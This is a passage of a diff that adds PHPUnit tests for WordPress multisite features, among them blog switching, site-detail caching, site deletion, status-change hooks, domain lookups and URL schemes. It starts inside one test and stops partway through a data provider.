+		$this->assertEquals( array( $current_blog_id ), $_wp_switched_stack );
+		$this->assertTrue( ms_is_switched() );
+		$this->assertEquals( $blog_id, $wpdb->blogid );
+		$this->assertFalse( wp_cache_get( 'switch-test', 'switch-test' ) );
+		wp_cache_set( 'switch-test', $blog_id, 'switch-test' );
+		$this->assertEquals( $blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		switch_to_blog( $blog_id );
+		$this->assertEquals( array( $current_blog_id, $blog_id ), $_wp_switched_stack );
+		$this->assertTrue( ms_is_switched() );
+		$this->assertEquals( $blog_id, $wpdb->blogid );
+		$this->assertEquals( $blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		restore_current_blog();
+		$this->assertEquals( array( $current_blog_id ), $_wp_switched_stack );
+		$this->assertTrue( ms_is_switched() );
+		$this->assertEquals( $blog_id, $wpdb->blogid );
+		$this->assertEquals( $blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		restore_current_blog();
+		$this->assertEquals( $cap_key, wp_get_current_user()->cap_key );
+		$this->assertEquals( $current_blog_id, get_current_blog_id() );
+		$this->assertEquals( array(), $_wp_switched_stack );
+		$this->assertFalse( ms_is_switched() );
+		$this->assertEquals( $current_blog_id, wp_cache_get( 'switch-test', 'switch-test' ) );
+
+		$this->assertFalse( restore_current_blog() );
+	}
+
+	/**
+	 * Test the cache keys and database tables setup through the creation of a site.
+	 */
+	function test_created_site_details() {
+		global $wpdb;
+
+		$blog_id = self::factory()->blog->create();
+
+		$this->assertInternalType( 'int', $blog_id );
+		$prefix = $wpdb->get_blog_prefix( $blog_id );
+
+		// $get_all = false, only retrieve details from the blogs table
+		$details = get_blog_details( $blog_id, false );
+
+		// Combine domain and path for a site specific cache key.
+		$key = md5( $details->domain . $details->path );
+
+		$this->assertEquals( $details, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+
+		// get_blogaddress_by_name()
+		$this->assertEquals( 'http://' . $details->domain . $details->path, get_blogaddress_by_name( trim( $details->path, '/' ) ) );
+
+		// These are empty until get_blog_details() is called with $get_all = true
+		$this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+
+		// $get_all = true, populate the full blog-details cache and the blog slug lookup cache
+		$details = get_blog_details( $blog_id, true );
+		$this->assertEquals( $details, wp_cache_get( $blog_id, 'blog-details' ) );
+		$this->assertEquals( $details, wp_cache_get( $key, 'blog-lookup' ) );
+
+		// Check existence of each database table for the created site.
+		foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+			$suppress     = $wpdb->suppress_errors();
+			$table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+			$wpdb->suppress_errors( $suppress );
+
+			// The table should exist.
+			$this->assertNotEmpty( $table_fields );
+
+			// And the table should not be empty, unless commentmeta, termmeta, or links.
+			$result = $wpdb->get_results( "SELECT * FROM $prefix$table LIMIT 1" );
+			if ( 'commentmeta' == $table || 'termmeta' == $table || 'links' == $table ) {
+				$this->assertEmpty( $result );
+			} else {
+				$this->assertNotEmpty( $result );
+			}
+		}
+
+		// update the blog count cache to use get_blog_count()
+		wp_update_network_counts();
+		$this->assertEquals( 2, (int) get_blog_count() );
+	}
+
+	public function test_site_caches_should_invalidate_when_invalidation_is_not_suspended() {
+		$site_id = self::factory()->blog->create();
+
+		$details = get_site( $site_id );
+
+		$suspend = wp_suspend_cache_invalidation( false );
+		update_blog_details( $site_id, array( 'path' => '/a-non-random-test-path/' ) );
+		$new_details = get_site( $site_id );
+		wp_suspend_cache_invalidation( $suspend );
+
+		$this->assertNotEquals( $details->path, $new_details->path );
+	}
+
+	public function test_site_caches_should_not_invalidate_when_invalidation_is_suspended() {
+		$site_id = self::factory()->blog->create();
+
+		$details = get_site( $site_id );
+
+		$suspend = wp_suspend_cache_invalidation();
+		update_blog_details( $site_id, array( 'path' => '/a-non-random-test-path/' ) );
+		$new_details = get_site( $site_id );
+		wp_suspend_cache_invalidation( $suspend );
+
+		$this->assertEquals( $details->path, $new_details->path );
+	}
+
+	/**
+	 * When a site is flagged as 'deleted', its data should be cleared from cache.
+	 */
+	function test_data_in_cache_after_wpmu_delete_blog_drop_false() {
+		$blog_id = self::factory()->blog->create();
+
+		$details = get_blog_details( $blog_id, false );
+		$key = md5( $details->domain . $details->path );
+
+		// Delete the site without forcing a table drop.
+		wpmu_delete_blog( $blog_id, false );
+
+		$this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * When a site is flagged as 'deleted', its data should remain in the database.
+	 */
+	function test_data_in_tables_after_wpmu_delete_blog_drop_false() {
+		global $wpdb;
+
+		$blog_id = self::factory()->blog->create();
+
+		// Delete the site without forcing a table drop.
+		wpmu_delete_blog( $blog_id, false );
+
+		$prefix = $wpdb->get_blog_prefix( $blog_id );
+		foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+			$suppress = $wpdb->suppress_errors();
+			$table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+			$wpdb->suppress_errors( $suppress );
+			$this->assertNotEmpty( $table_fields, $prefix . $table );
+		}
+	}
+
+	/**
+	 * When a site is fully deleted, its data should be cleared from cache.
+	 */
+	function test_data_in_cache_after_wpmu_delete_blog_drop_true() {
+		$blog_id = self::factory()->blog->create();
+
+		$details = get_blog_details( $blog_id, false );
+		$key = md5( $details->domain . $details->path );
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		$this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * When a site is fully deleted, its data should be removed from the database.
+	 */
+	function test_data_in_tables_after_wpmu_delete_blog_drop_true() {
+		global $wpdb;
+
+		$blog_id = self::factory()->blog->create();
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		$prefix = $wpdb->get_blog_prefix( $blog_id );
+		foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+			$suppress = $wpdb->suppress_errors();
+			$table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+			$wpdb->suppress_errors( $suppress );
+			$this->assertEmpty( $table_fields );
+		}
+	}
+
+	/**
+	 * When the main site of a network is fully deleted, its data should be cleared from cache.
+	 */
+	function test_data_in_cache_after_wpmu_delete_blog_main_site_drop_true() {
+		$blog_id = 1; // The main site in our test suite has an ID of 1.
+
+		$details = get_blog_details( $blog_id, false );
+		$key = md5( $details->domain . $details->path );
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		$this->assertEquals( false, wp_cache_get( $blog_id, 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $blog_id . 'short', 'blog-details' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-lookup' ) );
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * When the main site of a network is fully deleted, its data should remain in the database.
+	 */
+	function test_data_in_tables_after_wpmu_delete_blog_main_site_drop_true() {
+		global $wpdb;
+
+		$blog_id = 1; // The main site in our test suite has an ID of 1.
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		$prefix = $wpdb->get_blog_prefix( $blog_id );
+		foreach ( $wpdb->tables( 'blog', false ) as $table ) {
+			$suppress = $wpdb->suppress_errors();
+			$table_fields = $wpdb->get_results( "DESCRIBE $prefix$table;" );
+			$wpdb->suppress_errors( $suppress );
+			$this->assertNotEmpty( $table_fields, $prefix . $table );
+		}
+	}
+
+	/**
+	 * The site count of a network should change when a site is flagged as 'deleted'.
+	 */
+	function test_network_count_after_wpmu_delete_blog_drop_false() {
+		$blog_id = self::factory()->blog->create();
+
+		// Delete the site without forcing a table drop.
+		wpmu_delete_blog( $blog_id, false );
+
+		// update the blog count cache to use get_blog_count()
+		wp_update_network_counts();
+		$this->assertEquals( 1, get_blog_count() );
+	}
+
+	/**
+	 * The site count of a network should change when a site is fully deleted.
+	 */
+	function test_blog_count_after_wpmu_delete_blog_drop_true() {
+		$blog_id = self::factory()->blog->create();
+
+		// Delete the site and force a table drop.
+		wpmu_delete_blog( $blog_id, true );
+
+		// update the blog count cache to use get_blog_count()
+		wp_update_network_counts();
+		$this->assertEquals( 1, get_blog_count() );
+	}
+
+	/**
+	 * When a site is deleted with wpmu_delete_blog(), only the files associated with
+	 * that site should be removed. When wpmu_delete_blog() is run a second time, nothing
+	 * should change with upload directories.
+	 */
+	function test_upload_directories_after_multiple_wpmu_delete_blog() {
+		$filename = __FUNCTION__ . '.jpg';
+		$contents = __FUNCTION__ . '_contents';
+
+		// Upload a file to the main site on the network.
+		$file1 = wp_upload_bits( $filename, null, $contents );
+
+		$blog_id = self::factory()->blog->create();
+
+		switch_to_blog( $blog_id );
+		$file2 = wp_upload_bits( $filename, null, $contents );
+		restore_current_blog();
+
+		wpmu_delete_blog( $blog_id, true );
+
+		// The file on the main site should still exist. The file on the deleted site should not.
+		$this->assertFileExists( $file1['file'] );
+		$this->assertFileNotExists( $file2['file'] );
+
+		wpmu_delete_blog( $blog_id, true );
+
+		// The file on the main site should still exist. The file on the deleted site should not.
+		$this->assertFileExists( $file1['file'] );
+		$this->assertFileNotExists( $file2['file'] );
+	}
+
+	function test_wpmu_update_blogs_date() {
+		global $wpdb;
+
+		wpmu_update_blogs_date();
+
+		// compare the update time with the current time, allow delta < 2
+		$blog = get_site( get_current_blog_id() );
+		$current_time = time();
+		$time_difference = $current_time - strtotime( $blog->last_updated );
+		$this->assertLessThan( 2, $time_difference );
+	}
+
+	/**
+	 * Provide a counter to determine that hooks are firing when intended.
+	 */
+	function _action_counter_cb() {
+		global $test_action_counter;
+		$test_action_counter++;
+	}
+
+	/**
+	 * Test cached data for a site that does not exist and then again after it exists.
+	 *
+	 * @ticket 23405
+	 */
+	function test_get_blog_details_when_site_does_not_exist() {
+		// Create an unused site so that we can then assume an invalid site ID.
+		$blog_id = self::factory()->blog->create();
+		$blog_id++;
+
+		// Prime the cache for an invalid site.
+		get_blog_details( $blog_id );
+
+		// When the cache is primed with an invalid site, the value is set to -1.
+		$this->assertEquals( -1, wp_cache_get( $blog_id, 'blog-details' ) );
+
+		// Create a site in the invalid site's place.
+		self::factory()->blog->create();
+
+		// When a new site is created, its cache is cleared through refresh_blog_details.
+		$this->assertFalse( wp_cache_get( $blog_id, 'blog-details' )  );
+
+		$blog = get_blog_details( $blog_id );
+
+		// When the cache is refreshed, it should now equal the site data.
+		$this->assertEquals( $blog, wp_cache_get( $blog_id, 'blog-details' ) );
+	}
+
+	/**
+	 * Updating a field returns the sme value that was passed.
+	 */
+	function test_update_blog_status() {
+		$result = update_blog_status( 1, 'spam', 0 );
+		$this->assertEquals( 0, $result );
+	}
+
+	/**
+	 * Updating an invalid field returns the same value that was passed.
+	 */
+	function test_update_blog_status_invalid_status() {
+		$result = update_blog_status( 1, 'doesnotexist', 'invalid' );
+		$this->assertEquals( 'invalid', $result );
+	}
+
+	function test_update_blog_status_make_ham_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+		update_blog_details( $blog_id, array( 'spam' => 1 ) );
+
+		add_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'spam', 0 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '0', $blog->spam );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'spam' stays the same.
+		update_blog_status( $blog_id, 'spam', 0 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '0', $blog->spam );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'make_ham_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_content_from_spam_blog_is_not_available() {
+		$spam_blog_id = self::factory()->blog->create();
+		switch_to_blog( $spam_blog_id );
+		$post_data      = array(
+			'post_title'   => 'Hello World!',
+			'post_content' => 'Hello world content',
+		);
+		$post_id        = self::factory()->post->create( $post_data );
+		$post           = get_post( $post_id );
+		$spam_permalink = site_url() . '/?p=' . $post->ID;
+		$spam_embed_url = get_post_embed_url( $post_id );
+
+		restore_current_blog();
+		$this->assertNotEmpty( $spam_permalink );
+		$this->assertEquals( $post_data['post_title'], $post->post_title );
+
+		update_blog_status( $spam_blog_id, 'spam', 1 );
+
+		$post_id = self::factory()->post->create(
+			array(
+				'post_content' => "\n $spam_permalink \n",
+			)
+		);
+		$post    = get_post( $post_id );
+		$content = apply_filters( 'the_content', $post->post_content );
+
+		$this->assertNotContains( $post_data['post_title'], $content );
+		$this->assertNotContains( "src=\"{$spam_embed_url}#?", $content );
+	}
+
+	function test_update_blog_status_make_spam_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+
+		add_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'spam', 1 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '1', $blog->spam );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'spam' stays the same.
+		update_blog_status( $blog_id, 'spam', 1 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '1', $blog->spam );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'make_spam_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_archive_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+
+		add_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'archived', 1 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '1', $blog->archived );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'archived' stays the same.
+		update_blog_status( $blog_id, 'archived', 1 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '1', $blog->archived );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'archive_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_unarchive_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+		update_blog_details( $blog_id, array( 'archived' => 1 ) );
+
+		add_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'archived', 0 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '0', $blog->archived );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'archived' stays the same.
+		update_blog_status( $blog_id, 'archived', 0 );
+		$blog = get_site( $blog_id );
+		$this->assertEquals( '0', $blog->archived );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'unarchive_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_make_delete_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+
+		add_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'deleted', 1 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '1', $blog->deleted );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'deleted' stays the same.
+		update_blog_status( $blog_id, 'deleted', 1 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '1', $blog->deleted );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'make_delete_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_make_undelete_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+		update_blog_details( $blog_id, array( 'deleted' => 1 ) );
+
+		add_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'deleted', 0 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '0', $blog->deleted );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'deleted' stays the same.
+		update_blog_status( $blog_id, 'deleted', 0 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '0', $blog->deleted );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'make_undelete_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_mature_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+
+		add_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'mature', 1 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '1', $blog->mature );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'mature' stays the same.
+		update_blog_status( $blog_id, 'mature', 1 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '1', $blog->mature );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'mature_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_unmature_blog_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+		update_blog_details( $blog_id, array( 'mature' => 1 ) );
+
+		add_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'mature', 0 );
+
+		$blog = get_site( $blog_id );
+		$this->assertEquals( '0', $blog->mature );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'mature' stays the same.
+		update_blog_status( $blog_id, 'mature', 0 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '0', $blog->mature );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'unmature_blog', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	function test_update_blog_status_update_blog_public_action() {
+		global $test_action_counter;
+		$test_action_counter = 0;
+
+		$blog_id = self::factory()->blog->create();
+
+		add_action( 'update_blog_public', array( $this, '_action_counter_cb' ), 10 );
+		update_blog_status( $blog_id, 'public', 0 );
+
+		$blog = get_site( $blog_id );
+		$this->assertEquals( '0', $blog->public );
+		$this->assertEquals( 1, $test_action_counter );
+
+		// The action should fire if the status of 'mature' stays the same.
+		update_blog_status( $blog_id, 'public', 0 );
+		$blog = get_site( $blog_id );
+
+		$this->assertEquals( '0', $blog->public );
+		$this->assertEquals( 2, $test_action_counter );
+
+		remove_action( 'update_blog_public', array( $this, '_action_counter_cb' ), 10 );
+	}
+
+	/**
+	 * @ticket 27952
+	 */
+	function test_posts_count() {
+		self::factory()->post->create();
+		$post2 = self::factory()->post->create();
+		$this->assertEquals( 2, get_site()->post_count );
+
+		wp_delete_post( $post2 );
+		$this->assertEquals( 1, get_site()->post_count );
+	}
+
+	/**
+	 * @ticket 26410
+	 */
+	function test_blog_details_cache_invalidation() {
+		update_option( 'blogname', 'foo' );
+		$details = get_site( get_current_blog_id() );
+		$this->assertEquals( 'foo', $details->blogname );
+
+		update_option( 'blogname', 'bar' );
+		$details = get_site( get_current_blog_id() );
+		$this->assertEquals( 'bar', $details->blogname );
+	}
+
+	/**
+	 * Test the original and cached responses for a created and then deleted site when
+	 * the blog ID is requested through get_blog_id_from_url().
+	 */
+	function test_get_blog_id_from_url() {
+		$blog_id = self::factory()->blog->create();
+		$details = get_site( $blog_id );
+		$key = md5( $details->domain . $details->path );
+
+		// Test the original response and cached response for the newly created site.
+		$this->assertEquals( $blog_id, get_blog_id_from_url( $details->domain, $details->path ) );
+		$this->assertEquals( $blog_id, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * Test the case insensitivity of the site lookup.
+	 */
+	function test_get_blog_id_from_url_is_case_insensitive() {
+		$blog_id = self::factory()->blog->create( array( 'domain' => 'example.com', 'path' => '/xyz' ) );
+		$details = get_site( $blog_id );
+
+		$this->assertEquals( $blog_id, get_blog_id_from_url( strtoupper( $details->domain ), strtoupper( $details->path ) ) );
+	}
+
+	/**
+	 * Test the first and cached responses for a site that does not exist.
+	 */
+	function test_get_blog_id_from_url_that_does_not_exist() {
+		$blog_id = self::factory()->blog->create( array( 'path' => '/xyz' ) );
+		$details = get_site( $blog_id );
+
+		$this->assertEquals( 0, get_blog_id_from_url( $details->domain, 'foo' ) );
+		$this->assertEquals( -1, wp_cache_get( md5( $details->domain . 'foo' ), 'blog-id-cache' ) );
+	}
+
+	/**
+	 * A blog ID is still available if only the `deleted` flag is set for a site. The same
+	 * behavior would be expected if passing `false` explicitly to `wpmu_delete_blog()`.
+	 */
+	function test_get_blog_id_from_url_with_deleted_flag() {
+		$blog_id = self::factory()->blog->create();
+		$details = get_site( $blog_id );
+		$key = md5( $details->domain . $details->path );
+		wpmu_delete_blog( $blog_id );
+
+		$this->assertEquals( $blog_id, get_blog_id_from_url( $details->domain, $details->path ) );
+		$this->assertEquals( $blog_id, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * When deleted with the drop parameter as true, the cache will first be false, then set to
+	 * -1 after an attempt at `get_blog_id_from_url()` is made.
+	 */
+	function test_get_blog_id_from_url_after_dropped() {
+		$blog_id = self::factory()->blog->create();
+		$details = get_site( $blog_id );
+		$key = md5( $details->domain . $details->path );
+		wpmu_delete_blog( $blog_id, true );
+
+		$this->assertEquals( false, wp_cache_get( $key, 'blog-id-cache' ) );
+		$this->assertEquals( 0, get_blog_id_from_url( $details->domain, $details->path ) );
+		$this->assertEquals( -1, wp_cache_get( $key, 'blog-id-cache' ) );
+	}
+
+	/**
+	 * Test with default parameter of site_id as null.
+	 */
+	function test_is_main_site() {
+		$this->assertTrue( is_main_site() );
+	}
+
+	/**
+	 * Test with a site id of get_current_blog_id(), which should be the same as the
+	 * default parameter tested above.
+	 */
+	function test_current_blog_id_is_main_site() {
+		$this->assertTrue( is_main_site( get_current_blog_id() ) );
+	}
+
+	/**
+	 * Test with a site ID other than the main site to ensure a false response.
+	 */
+	function test_is_main_site_is_false_with_other_blog_id() {
+		$blog_id = self::factory()->blog->create();
+
+		$this->assertFalse( is_main_site( $blog_id ) );
+	}
+
+	/**
+	 * Test with no passed ID after switching to another site ID.
+	 */
+	function test_is_main_site_is_false_after_switch_to_blog() {
+		$blog_id = self::factory()->blog->create();
+		switch_to_blog( $blog_id );
+
+		$this->assertFalse( is_main_site() );
+
+		restore_current_blog();
+	}
+
+	function test_switch_upload_dir() {
+		$this->assertTrue( is_main_site() );
+
+		$site = get_current_site();
+
+		$info = wp_upload_dir();
+		$this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+
+		$blog_id = self::factory()->blog->create();
+
+		switch_to_blog( $blog_id );
+		$info = wp_upload_dir();
+		$this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/sites/' . get_current_blog_id() . '/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/sites/' . get_current_blog_id() . '/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+		restore_current_blog();
+
+		$info = wp_upload_dir();
+		$this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+	}
+
+	/**
+	 * Test the primary purpose of get_blog_post(), to retrieve a post from
+	 * another site on the network.
+	 */
+	function test_get_blog_post_from_another_site_on_network() {
+		$blog_id = self::factory()->blog->create();
+		$post_id = self::factory()->post->create(); // Create a post on the primary site, ID 1.
+		$post = get_post( $post_id );
+		switch_to_blog( $blog_id );
+
+		// The post created and retrieved on the main site should match the one retrieved "remotely".
+		$this->assertEquals( $post, get_blog_post( 1, $post_id ) );
+
+		restore_current_blog();
+	}
+
+	/**
+	 * If get_blog_post() is used on the same site, it should still work.
+	 */
+	function test_get_blog_post_from_same_site() {
+		$post_id = self::factory()->post->create();
+
+		$this->assertEquals( get_blog_post( 1, $post_id ), get_post( $post_id ) );
+	}
+
+	/**
+	 * A null response should be returned if an invalid post is requested.
+	 */
+	function test_get_blog_post_invalid_returns_null() {
+		$this->assertNull( get_blog_post( 1, 999999 ) );
+	}
+
+	/**
+	 * Added as a callback to the domain_exists filter to provide manual results for
+	 * the testing of the filter and for a test which does not need the database.
+	 */
+	function _domain_exists_cb( $exists, $domain, $path, $site_id ) {
+		if ( 'foo' == $domain && 'bar/' == $path )
+			return 1234;
+		else
+			return null;
+	}
+
+	function test_domain_exists_with_default_site_id() {
+		$details = get_site( 1 );
+
+		$this->assertEquals( 1, domain_exists( $details->domain, $details->path ) );
+	}
+
+	function test_domain_exists_with_specified_site_id() {
+		$details = get_site( 1 );
+
+		$this->assertEquals( 1, domain_exists( $details->domain, $details->path, $details->site_id ) );
+	}
+
+	/**
+	 * When the domain is valid, but the resulting site does not belong to the specified network,
+	 * it is marked as not existing.
+	 */
+	function test_domain_does_not_exist_with_invalid_site_id() {
+		$details = get_site( 1 );
+
+		$this->assertEquals( null, domain_exists( $details->domain, $details->path, 999 ) );
+	}
+
+	function test_invalid_domain_does_not_exist_with_default_site_id() {
+		$this->assertEquals( null, domain_exists( 'foo', 'bar' ) );
+	}
+
+	function test_domain_filtered_to_exist() {
+		add_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+		$exists = domain_exists( 'foo', 'bar' );
+		remove_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+		$this->assertEquals( 1234, $exists );
+	}
+
+	/**
+	 * When a path is passed to domain_exists, it is immediately trailing slashed. A path
+	 * value with or without the slash should result in the same return value.
+	 */
+	function test_slashed_path_in_domain_exists() {
+		add_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+		$exists1 = domain_exists( 'foo', 'bar' );
+		$exists2 = domain_exists( 'foo', 'bar/' );
+		remove_filter( 'domain_exists', array( $this, '_domain_exists_cb' ), 10, 4 );
+
+		// Make sure the same result is returned with or without a trailing slash
+		$this->assertEquals( $exists1, $exists2 );
+	}
+
+	/**
+	 * Tests returning an address for a given valid id.
+	 */
+	function test_get_blogaddress_by_id_with_valid_id() {
+		$blogaddress = get_blogaddress_by_id( 1 );
+		$this->assertEquals( 'http://' . WP_TESTS_DOMAIN . '/', $blogaddress );
+	}
+
+	/**
+	 * Tests returning the appropriate response for a invalid id given.
+	 */
+	function test_get_blogaddress_by_id_with_invalid_id() {
+		$blogaddress = get_blogaddress_by_id( 42 );
+		$this->assertEquals( '', $blogaddress );
+	}
+
+	/**
+	 * @ticket 14867
+	 */
+	function test_get_blogaddress_by_id_scheme_reflects_blog_scheme() {
+		$blog = self::factory()->blog->create();
+
+		$this->assertSame( 'http', parse_url( get_blogaddress_by_id( $blog ), PHP_URL_SCHEME ) );
+
+		update_blog_option( $blog, 'home', set_url_scheme( get_blog_option( $blog, 'home' ), 'https' ) );
+
+		$this->assertSame( 'https', parse_url( get_blogaddress_by_id( $blog ), PHP_URL_SCHEME ) );
+	}
+
+	/**
+	 * @ticket 14867
+	 */
+	function test_get_blogaddress_by_id_scheme_is_unaffected_by_request() {
+		$blog = self::factory()->blog->create();
+
+		$this->assertFalse( is_ssl() );
+		$this->assertSame( 'http', parse_url( get_blogaddress_by_id( $blog ), PHP_URL_SCHEME ) );
+
+		$_SERVER['HTTPS'] = 'on';
+
+		$is_ssl  = is_ssl();
+		$address = parse_url( get_blogaddress_by_id( $blog ), PHP_URL_SCHEME );
+
+		$this->assertTrue( $is_ssl );
+		$this->assertSame( 'http', $address );
+	}
+
+	/**
+	 * @ticket 33620
+	 * @dataProvider data_new_blog_url_schemes
+	 */
+	function test_new_blog_url_schemes( $home_scheme, $siteurl_scheme, $force_ssl_admin ) {
+		$current_site = get_current_site();
+
+		$home    = get_option( 'home' );
+		$siteurl = get_site_option( 'siteurl' );
+		$admin   = force_ssl_admin();
+
+		// Setup:
+		update_option( 'home', set_url_scheme( $home, $home_scheme ) );
+		update_site_option( 'siteurl', set_url_scheme( $siteurl, $siteurl_scheme ) );
+		force_ssl_admin( $force_ssl_admin );
+
+		// Install:
+		$new = wpmu_create_blog( $current_site->domain, '/new-blog/', 'New Blog', get_current_user_id() );
+
+		// Reset:
+		update_option( 'home', $home );
+		update_site_option( 'siteurl', $siteurl );
+		force_ssl_admin( $admin );
+
+		// Assert:
+		$this->assertNotWPError( $new );
+		$this->assertSame( $home_scheme, parse_url( get_blog_option( $new, 'home' ), PHP_URL_SCHEME ) );
+		$this->assertSame( $siteurl_scheme, parse_url( get_blog_option( $new, 'siteurl' ), PHP_URL_SCHEME ) );
+	}
+
+	function data_new_blog_url_schemes() {
+		return array(
+			array(
+				'https',
